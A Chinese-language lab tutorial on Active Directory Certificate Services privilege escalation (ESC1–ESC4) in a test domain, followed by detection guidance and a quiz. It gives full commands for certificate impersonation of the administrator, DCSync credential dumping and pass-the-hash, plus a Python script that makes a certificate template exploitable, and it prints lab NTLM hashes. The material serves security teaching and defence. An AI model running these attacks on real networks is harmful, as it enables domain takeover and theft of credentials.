經過 Day 12 學習了 ADCS 基礎和 CA 權限濫用,今天要深入探討 ESC 系列攻擊。ESC 是 SpecterOps 研究團隊對 AD CS 域提權場景的編號系統(ESC1-ESC8),這些攻擊利用憑證模板和 CA 的設定缺陷,讓普通使用者能夠取得 Domain Admin 權限。
在 2021 年 6 月發表的《Certified Pre-Owned》白皮書中,Will Schroeder 和 Lee Christensen 系統性地揭露八種主要的攻擊場景,徹底改變了業界對 ADCS 安全的認知。今天我們將聚焦在最常見也最實用的 ESC1-4。
這些攻擊的共同特點是:
我們將實作四種攻擊手法,從允許自訂身份的 ESC1,到需要修改模板權限的 ESC4,每種都將配合實際的攻擊場景和防禦策略。
在完成今天的實作後,將能夠:
在開始之前,確保已經完成:
khal.drogo:horse
憑證(essos.local 域)# 確認工具安裝
which certipy
which impacket-secretsdump
which impacket-wmiexec
# 確認網路連通性
ping 192.168.139.12 # MEEREEN (DC)
ping 192.168.139.23 # BRAAVOS (CA)
nxc smb 192.168.139.12 -d essos.local -u khal.drogo -p 'horse'
參數說明:
nxc
= NetExec(CrackMapExec 後繼者)smb
= 使用 SMB 協定測試192.168.139.12
= 目標 DC(MEEREEN)-d essos.local
= 指定域名-u khal.drogo
= 使用者名稱-p 'horse'
= 密碼nxc ldap 192.168.139.12 -d essos.local -u khal.drogo -p 'horse' -M adcs
參數說明:
ldap
= 使用 LDAP 協定-M adcs
= 執行 ADCS 模組,搜尋憑證服務輸出解讀:
[*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
搜尋所有憑證註冊服務物件
Found PKI Enrollment Server: braavos.essos.local
發現憑證伺服器位置
Found CN: ESSOS-CA
CA 名稱(攻擊時需要)
nxc smb 192.168.139.23 -d essos.local -u khal.drogo -p 'horse'
關鍵發現:
[+] essos.local\khal.drogo:horse (Pwn3d!)
(Pwn3d!) = 擁有本地管理員權限!
資產類型 | IP | 主機名稱 | 角色 | 關鍵發現 |
---|---|---|---|---|
域控制器 | 192.168.139.12 | MEEREEN | DC | SMB 簽章啟用 |
憑證伺服器 | 192.168.139.23 | BRAAVOS | CA | khal.drogo 是管理員 |
CA 名稱 | - | ESSOS-CA | - | 後續攻擊需要 |
攻擊路徑確立:
khal.drogo (Domain User)
↓
CA 本地管理員 (BRAAVOS)
↓
ESC 系列攻擊可行
↓
Domain Admin
ESC1 是最簡單也最危險的 ADCS 漏洞。想像公司有個「製作員工證」的機器,但這台機器允許任何員工都可以製作一張寫著「我是 CEO」的員工證,而且保全會相信這張證!
ESC1 漏洞需要五個條件同時存在:
條件 | 說明 | 影響 |
---|---|---|
低權限可申請 | Domain Users 有 Enrollment Rights | 所有域使用者都能利用 |
可自訂身份 | ENROLLEE_SUPPLIES_SUBJECT = True | 可偽裝任意使用者 |
憑證可認證 | 包含可認證的 EKU | 憑證可通過身份驗證 |
無需管理員核准 | Manager Approval = Disabled | 申請立即生效 |
無需授權簽章 | Authorized Signatures = 0 | 不需額外簽名 |
可用於認證的 EKU 包括:
# 查看有哪些憑證模板存在漏洞
certipy find -u khal.drogo@essos.local -p 'horse' \
-vulnerable -dc-ip 192.168.139.12 -stdout
快速識別 ESC1 的關鍵指標:
從輸出中尋找這五個條件同時存在:
Enrollee Supplies Subject : True
✅Client Authentication : True
(或其他可認證 EKU) ✅Enrollment Rights : ESSOS.LOCAL\Domain Users
✅Requires Manager Approval : False
✅Authorized Signatures Required : 0
✅certipy req -u khal.drogo@essos.local -p 'horse' \
-target braavos.essos.local \
-template ESC1 \
-ca ESSOS-CA \
-upn administrator@essos.local \
-dc-ip 192.168.139.12
參數說明:
-target braavos.essos.local
= CA 伺服器位址-template ESC1
= 使用有弱點的模板-ca ESSOS-CA
= CA 名稱-upn administrator@essos.local
= 偽裝成管理員!-dc-ip
= 域控制器 IP關鍵輸出:
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@essos.local'
[*] Saving certificate and private key to 'administrator.pfx'
certipy auth -pfx administrator.pfx -dc-ip 192.168.139.12
取得了什麼?
54296a48cd30259cc88095373cec24da
administrator.ccache
# 設定 Kerberos 票證
export KRB5CCNAME=administrator.ccache
# 執行 DCSync,導出所有域內帳號密碼
impacket-secretsdump -k -no-pass essos.local/administrator@meereen.essos.local
DCSync 結果分析:
如果出現 KeyError: 'Cryptodome.Cipher.AES'
錯誤,這是 Python 3.13 相容性問題,不影響實際提取。
impacket-wmiexec -hashes ':54296a48cd30259cc88095373cec24da' \
administrator@192.168.139.12
帳號 | NTLM Hash | 權限說明 |
---|---|---|
Administrator | 54296a48cd30259cc88095373cec24da | 最高權限 |
daenerys.targaryen | 34534854d33b398b66684072224bb47a | Domain Admin |
krbtgt | a5df275f8f1573d10758b4de3ab8e53b | 黃金票證關鍵 |
帳號 | NTLM Hash | 特殊權限 |
---|---|---|
khal.drogo | 739120ebc4dd940310bc4bb5c9d37021 | CA 管理員 |
sql_svc | 84a5092f53390ea48d660be52b93b804 | SQL 服務 |
為什麼會成功?信任鏈被破壞:
就像是:
ESC2 涉及濫用具有 Any Purpose EKU 或 SubCA 憑證模板。這些憑證就像「萬能鑰匙」,可以用於任何用途,包括:
重要澄清: ESC2 本身不能直接冒充他人身份。要冒充他人需要結合 ESC1 的條件(ENROLLEE_SUPPLIES_SUBJECT)。
憑證類型 | 能做什麼 | 不能做什麼 |
---|---|---|
Any Purpose | 任何 EKU 用途(認證、簽署等) | 直接冒充他人 |
SubCA | 簽發新憑證、建立信任鏈 | 直接改變自己的身份 |
certipy find -u khal.drogo@essos.local -p 'horse' \
-vulnerable -dc-ip 192.168.139.12 -stdout
ESC2 特徵識別:
Template Name : ESC2
Enrollee Supplies Subject : False # 不能直接改身份
Any Purpose : True # 萬能憑證!
Extended Key Usage : Any Purpose
Enrollment Rights : Domain Users # 任何人可申請
Manager Approval : False
Authorized Signatures : 0
[!] Vulnerabilities
ESC2: Template can be used for any purpose
certipy req -u khal.drogo@essos.local -p 'horse' \
-target 192.168.139.23 \
-template ESC2 \
-ca ESSOS-CA
結果分析:
khal.drogo.pfx
khal.drogo@essos.local
(無法改變身份)這個憑證可以:
注意: 單純的 ESC2 無法直接提權到 Domain Admin,除非結合其他攻擊手法。如果缺少 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 旗標,攻擊者無法使用 ESC2 範本來請求「作為其他使用者」的驗證憑證。
Any Purpose 憑證特性:
SubCA(無 EKU)憑證特性:
ESC3 利用 Certificate Request Agent (Enrollment Agent) 權限,允許代表其他使用者申請憑證。這是原本設計給 IT 人員幫助使用者處理憑證的功能。
certipy find -u khal.drogo@essos.local -p 'horse' \
-vulnerable -dc-ip 192.168.139.12 -stdout
ESC3-CRA 模板特徵:
Template Name: ESC3-CRA
Certificate Request Agent: True # 給予代理權限
Client Authentication: False # 本身不能直接登入
Extended Key Usage: Certificate Request Agent
Enrollment Rights: Domain Users # 任何人可申請
ESC3 目標模板特徵:
Template Name: ESC3
Application Policies: Certificate Request Agent # 允許代理
Client Authentication: True # 可用於認證
Enrollment Rights: Domain Computers # 或其他群組
certipy req -u khal.drogo@essos.local -p 'horse' \
-target 192.168.139.23 \
-template ESC3-CRA \
-ca ESSOS-CA
結果:
khal.drogo.pfx
certipy req -u khal.drogo@essos.local -p 'horse' \
-target 192.168.139.23 \
-template ESC3 \
-ca ESSOS-CA \
-on-behalf-of 'essos\administrator' \
-pfx khal.drogo.pfx
關鍵參數:
-on-behalf-of 'essos\administrator'
= 代表管理員申請-pfx khal.drogo.pfx
= 使用第一步的 CRA 憑證certipy auth -pfx administrator.pfx \
-username administrator \
-domain essos.local \
-dc-ip 192.168.139.12
impacket-wmiexec -hashes ':54296a48cd30259cc88095373cec24da' \
administrator@192.168.139.12
審計日誌對比:
ESC1 日誌 | ESC3 日誌 |
---|---|
khal.drogo 直接申請 administrator 憑證 ⚠️ | khal.drogo 申請 CRA 憑證 ✅ |
明顯異常行為 | 代理為 administrator 申請 ✅ |
- | 看似正常 IT 支援流程 |
ESC4 利用對憑證模板的寫入權限進行攻擊。當使用者對憑證模板有修改權限時,可以將安全的模板改成類似 ESC1 的易受攻擊設定。
ESC4 攻擊成功的關鍵在於:
certipy find -u khal.drogo@essos.local -p 'horse' \
-vulnerable -dc-ip 192.168.139.12 -stdout
關鍵發現:
Template Name: ESC4
Full Control Principals: ESSOS.LOCAL\khal.drogo
[!] Vulnerabilities
ESC4: User has dangerous permissions
certipy req -u khal.drogo@essos.local -p 'horse' \
-target 192.168.139.23 \
-template ESC4 \
-ca ESSOS-CA \
-upn administrator@essos.local \
-dc-ip 192.168.139.12
[-] Got error while requesting certificate: code: 0x80094812 - CERTSRV_E_SUBJECT_EMAIL_REQUIRED - The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
[-] Got error while requesting certificate: code: 0x80094809 - CERTSRV_E_SIGNATURE_POLICY_REQUIRED - The request is missing required signature policy information.
查資料你可能會遇到使用以下指令會自動更改,但實際上沒有 Work。
certipy template -u khal.drogo@essos.local -p 'horse' \
-template ESC4 \
-dc-ip 192.168.139.12
注意:certipy template 指令在某些情況下可能無法自動處理所有模板限制
(如 Email 需求、簽名需求等),因此我們使用 Python 腳本手動修改。
建議方式一:使用 certutil
certutil -v -dstemplate ESC4
建議方式二:使用 LDAP 查詢
ldapsearch -x -H ldap://192.168.139.12 \
-D "khal.drogo@essos.local" -w 'horse' \
-b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" \
-s base
重要: 記錄原始值以便後續還原!
建立 Python 腳本 ESC4.py
(注意:以下為示意,實際值需根據環境調整):
#!/usr/bin/env python3
"""
警告:此腳本僅供示意,實際屬性名稱與值需根據環境調整
請先使用 certutil -v -dstemplate ESC4 確認實際屬性
"""
import ldap3
from ldap3 import Server, Connection, MODIFY_REPLACE
# 連接到 LDAP
server = Server('192.168.139.12', use_ssl=False)
conn = Connection(server, 'essos.local\\khal.drogo', 'horse',
authentication=ldap3.NTLM)
conn.bind()
template_dn = ('CN=ESC4,CN=Certificate Templates,'
'CN=Public Key Services,CN=Services,'
'CN=Configuration,DC=essos,DC=local')
# 修改模板使其容易受攻擊
changes = {
# 允許申請者提供主體名稱
'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [1])],
# 新增 Client Authentication
'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['1.3.6.1.5.5.7.3.2'])],
'msPKI-Certificate-Application-Policy': [(MODIFY_REPLACE,
['1.3.6.1.5.5.7.3.2'])],
# 移除 Email 需求
'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [0])],
# 不需要管理員簽名
'msPKI-RA-Signature': [(MODIFY_REPLACE, [0])]
}
result = conn.modify(template_dn, changes)
print(f"[+] Template modified: {result}")
echo "[*] Waiting for AD replication (60 seconds)..."
sleep 60
certipy req -u khal.drogo@essos.local -p 'horse' \
-target 192.168.139.23 \
-template ESC4 \
-ca ESSOS-CA \
-upn administrator@essos.local \
-dc-ip 192.168.139.12
成功輸出:
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@essos.local'
[*] Saving certificate and private key to 'administrator.pfx'
impacket-wmiexec -hashes ':54296a48cd30259cc88095373cec24da' \
administrator@192.168.139.12
certipy auth -pfx administrator.pfx -dc-ip 192.168.139.12
重要:使用 Step 2 記錄的原始值還原!
#!/usr/bin/env python3
"""
還原腳本 - 請務必使用 Step 2 記錄的原始值
"""
import ldap3
from ldap3 import Server, Connection, MODIFY_REPLACE
server = Server('192.168.139.12', use_ssl=False)
conn = Connection(server, 'essos.local\\khal.drogo', 'horse',
authentication=ldap3.NTLM)
conn.bind()
template_dn = ('CN=ESC4,CN=Certificate Templates,'
'CN=Public Key Services,CN=Services,'
'CN=Configuration,DC=essos,DC=local')
# 重要:請將下方的值替換成您在 Step 2 記錄的原始值
restore_changes = {
'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [您的原始值])],
'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['您的原始OID'])],
'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [您的原始值])],
'msPKI-RA-Signature': [(MODIFY_REPLACE, [您的原始值])]
}
result = conn.modify(template_dn, restore_changes)
print(f"[+] Template restored: {result}")
以下數值僅示意,請務必改成你環境實際的原始值demo_restore_esc4.py
:
#!/usr/bin/env python3
import ldap3
from ldap3 import Server, Connection, MODIFY_REPLACE
print("[*] Connecting to LDAP...")
server = Server('192.168.139.12', use_ssl=False)
conn = Connection(server, 'essos.local\\khal.drogo', 'horse',
authentication=ldap3.NTLM)
conn.bind()
template_dn = ('CN=ESC4,CN=Certificate Templates,'
'CN=Public Key Services,CN=Services,'
'CN=Configuration,DC=essos,DC=local')
# 還原到原始 ESC4 設定
print("[*] Restoring original ESC4 template configuration...")
restore_changes = {
# 原始值:包含 email 需求
'msPKI-Certificate-Name-Flag': [(MODIFY_REPLACE, [201326593])],
# Code Signing(原始用途)
'pKIExtendedKeyUsage': [(MODIFY_REPLACE, ['1.3.6.1.5.5.7.3.3'])],
'msPKI-Certificate-Application-Policy': [(MODIFY_REPLACE,
['1.3.6.1.5.5.7.3.3'])],
'msPKI-Enrollment-Flag': [(MODIFY_REPLACE, [17])],
# 需要簽名
'msPKI-RA-Signature': [(MODIFY_REPLACE, [1])]
}
result = conn.modify(template_dn, restore_changes)
print(f"[+] Template restored: {result}")
print("[✓] ESC4 template has been restored to original configuration")
201326593
說明# 201326593 = 0xC000001
# ENROLLEE_SUPPLIES_SUBJECT = 0x00000001
# SUBJECT_ALT_REQUIRE_EMAIL = 0x04000000
# SUBJECT_ALT_REQUIRE_DNS = 0x08000000
# 包含 EnrolleeSuppliesSubject + SubjectAltRequireEmail + SubjectAltRequireDns
更安全的方式:使用 PSPKI 或 GUI
# 使用 PowerShell PSPKI 模組
Import-Module PSPKI
Get-CertificateTemplate -Name "ESC4" | Set-CertificateTemplate -AutoEnroll $false
攻擊類型 | 所需條件 | 攻擊步驟 | 隱蔽性 | 實際威脅 |
---|---|---|---|---|
ESC1 | 5個條件同時滿足 | 1步直接 | 低 | 極高 |
ESC2 | Any Purpose/SubCA | 需結合其他攻擊 | 中 | 中 |
ESC3 | CRA + 目標模板 | 2步代理 | 高 | 高 |
ESC4 | 模板寫入權限 | 修改+申請 | 低 | 高 |
# 檢查 ESC1 危險設定
Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * |
Where-Object {
$_.'msPKI-Certificate-Name-Flag' -band 1 -and
(
$_.'pKIExtendedKeyUsage' -match '1\.3\.6\.1\.5\.5\.7\.3\.2|1\.3\.6\.1\.5\.2\.3\.4|1\.3\.6\.1\.4\.1\.311\.20\.2\.2|2\.5\.29\.37\.0' -or
$_.'pKIExtendedKeyUsage' -eq $null
) -and
($_.'msPKI-Enrollment-Flag' -band 2) -eq 0 -and
$_.'msPKI-RA-Signature' -eq 0
} | Select Name, DistinguishedName, pKIExtendedKeyUsage
# 移除 Domain Users 的註冊權限
$template = Get-ADObject -Filter {name -eq "VulnerableTemplate"}
$acl = Get-Acl "AD:$($template.DistinguishedName)"
# 審查並移除不當權限
auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
Event ID | 描述 | 重要性 | 備註 |
---|---|---|---|
4662 | AD 物件存取(模板屬性修改) | 🔴 極高 | ESC4 即時偵測,需設定 SACL |
4899 | 憑證模板更新 | 🔴 高 | 延遲觸發 |
4900 | 憑證模板安全性變更 | 🔴 高 | 延遲觸發 |
4886 | 憑證請求 | 🟡 中 | 大量日誌 |
4887 | 憑證核准並發放 | 🟡 中 | 需關聯分析 |
注意: Event 4899/4900 為延遲觸發,只在下次憑證申請且 CA 偵測到模板變更時才記錄。
# 為憑證模板設定 SACL 以啟用 Event 4662
$templateDN = "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local"
$acl = Get-Acl "AD:$templateDN"
# 新增審計規則 - 監控所有人的寫入操作
$everyone = [System.Security.Principal.SecurityIdentifier]"S-1-1-0"
$auditRule = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
$everyone,
"WriteProperty, WriteDacl, WriteOwner",
"Success",
[Guid]::Empty,
"None"
)
$acl.AddAuditRule($auditRule)
Set-Acl "AD:$templateDN" $acl
# 啟用物件存取審計
auditpol /set /subcategory:"Directory Service Access" /success:enable
今天我們深入實作了 ESC1-4 四種憑證攻擊:
在 ESC1 攻擊中,以下哪個設定組合構成完整的攻擊條件?
A) EnrolleeSuppliesSubject + Email Protection + Domain Users 可申請
B) EnrolleeSuppliesSubject + Client Authentication + Domain Users 可申請 + Manager Approval Required
C) EnrolleeSuppliesSubject + Client Authentication + Domain Users 可申請 + No Manager Approval + No Authorized Signatures
D) Any Purpose + Code Signing + Domain Users 可申請
答案:C
✅ 選項 C 正確的原因:
根據 SpecterOps 白皮書,ESC1 需要五個條件同時滿足:
這五個條件缺一不可,選項 C 是唯一包含所有條件的。
❌ 選項 A 錯誤的原因:
❌ 選項 B 錯誤的原因:
❌ 選項 D 錯誤的原因:
關於 ESC2,以下哪個敘述是正確的?
A) ESC2 可以直接讓使用者冒充 Domain Admin
B) ESC2 利用 Any Purpose 憑證進行代理申請攻擊
C) ESC2 取得的 Any Purpose 憑證可用於多種用途,但不能單獨用來冒充他人
D) ESC2 比 ESC3 更隱蔽
答案:C
✅ 選項 C 正確的原因:
根據白皮書,ESC2 的特點是:
❌ 選項 A 錯誤的原因:
❌ 選項 B 錯誤的原因:
-on-behalf-of
)是 ESC3 的特徵❌ 選項 D 錯誤的原因:
ESC3 攻擊需要哪些關鍵元素?
A) 一個 Any Purpose 模板
B) 一個提供 Certificate Request Agent EKU 的模板 + 一個允許代理申請的目標模板
C) 對模板有 Full Control 權限
D) SubCA 憑證
答案:B
✅ 選項 B 正確的原因:
ESC3 的核心機制是 Enrollment Agent(代理) 攻擊:
兩個模板缺一不可,這是 ESC3 的獨特特徵。
❌ 選項 A 錯誤的原因:
❌ 選項 C 錯誤的原因:
❌ 選項 D 錯誤的原因:
執行 ESC4 攻擊時,最重要的注意事項是什麼?
A) 確保有 Domain Admin 權限
B) 記錄原始模板設定值以便還原
C) 使用 Any Purpose 憑證
D) 等待 Event 4899 即時觸發
答案:B
✅ 選項 B 正確的原因:
ESC4 攻擊的關鍵步驟:
不同模板的原始值不同,硬編碼的值可能造成模板損壞。
❌ 選項 A 錯誤的原因:
❌ 選項 C 錯誤的原因:
❌ 選項 D 錯誤的原因:
以下哪個 Windows 事件最能幫助偵測 ESC1 攻擊?
A) Event 4882 - 憑證模板權限變更
B) Event 4886 - 憑證請求(檢查 UPN 是否與請求者不同)
C) Event 4768 - Kerberos TGT 請求
D) Event 4899 - 憑證模板更新
答案:B
✅ 選項 B 正確的原因:
偵測 ESC1 的關鍵:
khal.drogo
請求 administrator@essos.local
的憑證 = ESC1❌ 選項 A 錯誤的原因:
❌ 選項 C 錯誤的原因:
❌ 選項 D 錯誤的原因:
為什麼 ESC3 被認為是最隱蔽的攻擊?
A) 不產生任何日誌
B) 使用加密通道
C) 審計日誌看起來像正常的 IT 支援流程
D) 不需要網路連線
答案:C
✅ 選項 C 正確的原因:
審計日誌對比:
攻擊類型 | 日誌內容 | 可疑程度 |
---|---|---|
ESC1 | 普通用戶請求管理員憑證 | 🔴 高度可疑 |
ESC3 | IT 人員申請 CRA 憑證 | ✅ 看似正常 |
ESC3 | 代理為管理員申請憑證 | ✅ 像幫忙處理 |
ESC3 利用了企業常見的「IT 代理申請」場景,很難區分合法和惡意行為。
❌ 其他選項錯誤的原因: